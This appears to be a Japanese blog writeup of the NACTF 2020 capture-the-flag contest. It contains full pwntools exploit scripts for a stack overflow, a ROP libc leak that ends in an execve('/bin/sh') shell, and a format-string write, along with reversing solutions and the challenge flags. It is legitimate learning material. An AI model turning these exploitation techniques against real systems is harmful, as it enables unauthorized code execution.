NACTF 2020 writeup

Sat Nov 07 2020

11月頭に開催された NACTF 2020 に参加しました。 平日開催だったためフルコミットはできなかったため、主に pwn や reversing 等、苦手で普段避けがちな問題に取り組みました。 結果としては 31th / 968 でした。 解いた問題のうち、力を入れた pwn、reversing について writeup を書きます。

pwn

Greeter

典型的な stack overflow。 win 関数のアドレスに飛ぶだけ

from pwn import *
context.log_level = "DEBUG"

r = remote("challenges.ctfd.io", 30249)

r.sendlineafter("What's your name?\n", b"A"*72 + b"\x20\x12\x40\x00\x00\x00\x00\x00")
r.recvall()

nactf{n4v4r_us3_g3ts_5vlrDKJufaUOd8Ur

dROPit

libc のバージョンを ROP で特定し、シェルを叩く問題。 https://book.hacktricks.xyz/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address を参考にして解きました。

from pwn import *

r = remote("challenges.ctfd.io", 30261)
elf = ELF("./dropit")

context.binary = elf
context.log_level = "DEBUG"

libc = ""
libc = ELF("./libc6_2.32-0ubuntu2_amd64.so")

OFFSET = b"A" * 56

rop = ROP(elf)
PUTS_PLT = elf.plt["puts"]
MAIN_PLT = elf.symbols["main"]
POP_RDI = (rop.find_gadget(["pop rdi", "ret"]))[0]
RET = (rop.find_gadget(["ret"]))[0]

def get_addr(func_name):
    FUNC_GOT = elf.got[func_name]
    rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

    r.sendlineafter("?\n", rop1)

    # Parse leaked address
    recieved = r.recvline().strip()
    print(recieved)
    leak = u64(recieved.ljust(8, b"\x00"))
    print("Leaked libc address,  " + func_name + ": " + hex(leak))

    return hex(leak)


get_addr("__libc_start_main")
get_addr("puts")
get_addr("fgets")
get_addr("setvbuf")
r.interactive()

リークさせた GOT のアドレスを、 hint にも書いてあった https://libc.rip/ で検索をかけると…

libc6_2.32-0ubuntu2_amd64 であることがわかります。これを用いて /bin/sh を叩きます。

from pwn import *

r = remote("challenges.ctfd.io", 30261)
elf = ELF("./dropit")

context.binary = elf
context.log_level = "DEBUG"

libc = ELF("./libc6_2.32-0ubuntu2_amd64.so")

OFFSET = b"A" * 56

rop = ROP(elf)
PUTS_PLT = elf.plt["puts"]
MAIN_PLT = elf.symbols["main"]
POP_RDI = (rop.find_gadget(["pop rdi", "ret"]))[0]
RET = (rop.find_gadget(["ret"]))[0]

def get_addr(func_name):
    global done
    FUNC_GOT = elf.got[func_name]
    rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

    r.sendlineafter("?\n", rop1)

    # Parse leaked address
    recieved = r.recvline().strip()
    leak = u64(recieved.ljust(8, b"\x00"))
    print("Leaked libc address,  " + func_name + ": " + hex(leak))

    libc.address = leak - libc.symbols[func_name]  # Save libc base
    print("libc base @ %s" % hex(libc.address))

    return hex(leak)


get_addr("__libc_start_main")

rop = ROP(libc)
rop.execve(next(libc.search(b"/bin/sh")), 0)
r.sendlineafter("?\n", OFFSET + rop.chain())
r.interactive()

nactf{r0p_y0ur_w4y_t0_v1ct0ry_698jB84iO4OH1cUe}

Format

典型的な format string attack。 0x42 = 66 を 0x404080 に書き込めばよい。

from pwn import *

context.log_level = "DEBUG"
r = remote("challenges.ctfd.io", 30266)

# r.sendlineafter("text.\n", b"\x80\x40\x40%63c%6$hhn")
# もともと↑ を想定していたが、 \x00 のせいでうまくいかないので、後ろにアドレスをおいた
# "%66c%8$hhn" が10文字なので AAAAAA を追加して16文字にし、 printf のスタックの指す先を2つずらす、6->8へ
r.sendlineafter("text.\n", b"%66c%8$hhnAAAAAA\x80\x40\x40\x00\x00\x00\x00\x00")
print(r.recvall())

nactf{d0nt_pr1ntf_u54r_1nput_HoUaRUxuGq2lVSHM}

reversing

Patience

   0x0000555555555000 <+0>:	mov    edi,0x42
   0x0000555555555005 <+5>:	call   0x555555555053 <_start+83>
   0x000055555555500a <+10>:	mov    rdi,rax

最初の 0x555555555053 の関数内部の計算でとても長い時間がかかります。 この関数の return 値を自前で求め、 gdb で rip を書き換えて call 部分を飛ばし、その後の rdi に自前で計算した値を代入することで、 print することができそうです。

0x555555555053 内部での計算を読むと、再帰的な計算が多いことがわかるので、 python の lru_cache を使って高速化します。

from functools import lru_cache


@lru_cache(maxsize=10 ** 6)
def f(n, m):
    if n == 0:
        return 0
    ans = 0
    n -= 1
    m += 1
    ans += f(n, m)
    while True:
        if n == 0:
            ans += f(n, m)
            if m == 1:
                ans += 1
            break

        if m > 1:
            n -= 1
            m -= 1
        else:
            n -= 2
        ans += f(n, m)
    return ans


ans = 1
for i in range(0x84 // 2):
    ans += f(i * 2, 1)
    ans %= 2 ** 64
print(ans % 2 ** 64)

これで計算された 15620537638032369420 を rdi に代入することで flag が出力されます。

nactf{d1d_y0u_kn0w_y0u_ju5t_c4lcul4t3d_th3_66th_c4t4l4n_numb3r}

Gopher

gdb で解析。 list でソースコードが見れたので、コードの概要は把握しやすかったです。また、各関数内部で info args を叩くことで引数がわかります。 golang では main 関数が main.main であることだけ注意。

眺めていると、 AES の CTR モードで暗号化しているコードであることがわかります。 key や iv から復号化をするコードを書きました。

package main

import (
    "crypto/cipher"
    "crypto/aes"
    "fmt"
)

func main() {
    key := []byte{0x31, 0xe5, 0x2b, 0x93, 0x9d, 0xf5, 0xcc, 0x7d, 0x8c, 0xc7, 0xd, 0x73, 0x97, 0xd0, 0x44, 0xfe, 0xcd, 0xcf, 0xbc, 0x38, 0x8a, 0xf5, 0x7f, 0x21, 0x6d, 0xa1, 0x9e, 0xa1, 0x26, 0x2b, 0xbc, 0xf2}
    block, err := aes.NewCipher(key)
    if err != nil {
        fmt.Println(err)
        return
    }
    iv := []byte{0x1b, 0xa4, 0xd, 0x8c, 0x33, 0xef, 0x46, 0x24, 0x69, 0xa8, 0x93, 0x98, 0xe8, 0xac, 0x8, 0x29}
    enc := cipher.NewCTR(block, iv)
    data := []byte{0x6b, 0x17, 0xd4, 0x6b, 0xe8, 0xa1, 0xa5, 0xef, 0x78, 0x1d, 0xea, 0x7a, 0xf7, 0x34, 0xf7, 0x3e, 0x77, 0xca, 0xf4, 0x1c, 0x35, 0x4c, 0x9a, 0xad, 0xdd, 0x5d, 0x1f, 0x40, 0xd9, 0x0, 0x0, 0x1c, 0x20, 0xe3, 0x6f, 0x13, 0x92, 0x90, 0x4f, 0x1d, 0xa2, 0xfb, 0x7c, 0xd3, 0x61, 0x35, 0x31, 0xc9, 0xa1, 0x77, 0xa8, 0x80, 0x99, 0x6a, 0xf0, 0x10, 0xb2}
    decrypted := make([]byte, len(data))
    enc.XORKeyStream(decrypted, data)
    fmt.Println(string(decrypted))
}

nactf{why_d0es_g0l4ng_3v3n_us3_th1s_abi_uI2SRybwkmZQ0kZM}

Packed

なぜかはわかってないですが、静的解析だとコードがまともに読めなかった…ので、 packed を実行したプロセスに gbd --pid PID でアタッチして様子を見ました。 0x7f8f28872070 でフラグが一致しているか確認するための文字列を生成し、0x7f8f288720a0 内部でフラグが一致しているか確認していることがわかります。

nV&Bba_TG^cNk<at2E2-fpAe{{n3H-s~*xK3]h-NlXIorf;g^Y_cB(gu\",}Tn{vq!po`K@4~J{)c9i=?k3fZ,1+Ib_n.GgFg{0gK_f;ngblEY,1mRIjn?F89_8%oudB]),1w14%d+zfxnS{dDtc?<w_lVkD3Z`usvzN+J3o/_lnqK9@_#~C/s{=P64KW(-v3z=&3jren_x*$04r9njn0S,Py/%n#_98|0s^;~(pw#fW4p-B)c=*sG3MX8(_a\\&ms-zS:mBN~]hi6zw_;(w5m5LdAV0mYv47\"]xEUibHUtNRuYA4hya\"[+Ke&fD2}?^N$*nactf!

この文字列を5文字飛ばしで読んだものがフラグと一致しているか確認していました。

nactf{s3lf_unp4ck1ng_b1n_d1dnt_3v3n_s4v3_4ny_sp4c3_smh_mV4EUYae}